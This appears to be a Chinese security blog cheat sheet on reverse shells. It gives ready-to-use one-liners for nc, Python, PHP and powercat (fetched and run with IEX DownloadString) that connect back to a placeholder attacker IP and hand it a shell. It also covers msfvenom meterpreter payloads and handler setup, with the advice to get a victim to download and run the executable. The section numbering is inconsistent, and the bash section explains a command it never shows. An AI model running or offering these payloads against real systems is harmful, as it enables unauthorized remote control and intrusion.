0x01 bash反弹shell

解释：bash -i [interface] 表示启动shell窗口>表示将这个窗口重定向到指定的地方，也就是将输出交给后面&表示将该命令转到后台执行 (我看其他文章也有将&解释成等同于的，如2>&1 就表示stderr标准错误重定向为等同于stdout标准输出）/dev/tcp/x.x.x.x/port表示发出一个socket调用，建立一个socket连接，读写这个文件等同于socket连接中传输数据.x.x.x.x表示要反弹到的主机的ip,port为端口 （同理linux中还存在/dev/udp）0表示stdin标准输入1表示stdout标准输出2表示stderr标准错误输出0>&1表示将标准输入重定向到标准输出

0x02 nc反弹shell

0x03 nc弹windows下的shell

攻击机监听：nc -lvp 7777windows端反弹shell：nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe

0x03 whois反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

解释：import socket,subprocess,os#导入模块,其中subprocess库用来提供强大的进程创建接口，还可以提供多种与客户端程序交互的方法。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示创建一个TCP连接s.connect(("x.x.x.x",5555))os.dup2(s.fileno(),0)#os.dup2表示将一个文件描述符复制到另一个文件描述符，fileno()表示将文件流指针转换成文件描述符，s.fileno表示返回socket的文件描述符，这行代码表示将s.fileno()表示的文件传递到0指向的文件，0即我们之前所说的stdin标准输入os.dup2(s.fileno(),1) #同理，1表示stdout标准输出os.dup2(s.fileno(),2)#同理，2表示stderr标准错误输出p=subprocess.call(["/bin/bash","-i"]); #表示运行/bin/bash -i, subprocess.call执行命令时不使用空格，用""分开

php -r $sock=fsockopen("x.x.x.x",5555);//fsockopen用来打开一个网络连接或者一个Unix套接字连接exec("/bin/bash -i <&3 >&3 2>&3");//文件描述符都是递增的，则创建新的文件描述符之后其大小为3，所以直接将0，1，2重定向3。0,1,2的含义我们上文反复提到//可以写成exec("/bin/bash -i 0<&3 1>$3 2>&3");
还有一些其他脚本反弹shell可以参考乌云滴文章：https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g
一些文件描述符的理解可以kk这个：https://zhuanlan.zhihu.com/p/109053744

0x05 powercat反弹shell

下载地址：https://github.com/besimorhino/powercat （需要fq）

powershell运行:  (cmd的话命令前面加个powershell一样的)IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd【这里先下载ps1脚本到自己搭的服务器，再运行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd】

0x06 msf反弹shell

进入msf开搞：msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe > /root/shell.exe

放到自己服务器上让受害者windows主机下载运行然后攻击机msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 攻击机ipset LPORT 9999exploit看到session

msfvenom -l payload | grep 'reverse_tcp'

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6666 -f raw > shell.php

 热文推荐  

• 蓝队应急响应姿势之Linux
  

• 通过DNSLOG回显验证漏洞
  

• 记一次服务器被种挖矿溯源
  

• 内网渗透初探 | 小白简单学习内网渗透
  

• 实战|通过恶意 pdf 执行 xss 漏洞
  

• 免杀技术有一套（免杀方法大集结）(Anti-AntiVirus)
  

• 内网渗透之内网信息查看常用命令
  

• 关于漏洞的基础知识
  

• 任意账号密码重置的6种方法
  

• 干货 | 横向移动与域控权限维持方法总汇
  

• 手把手教你Linux提权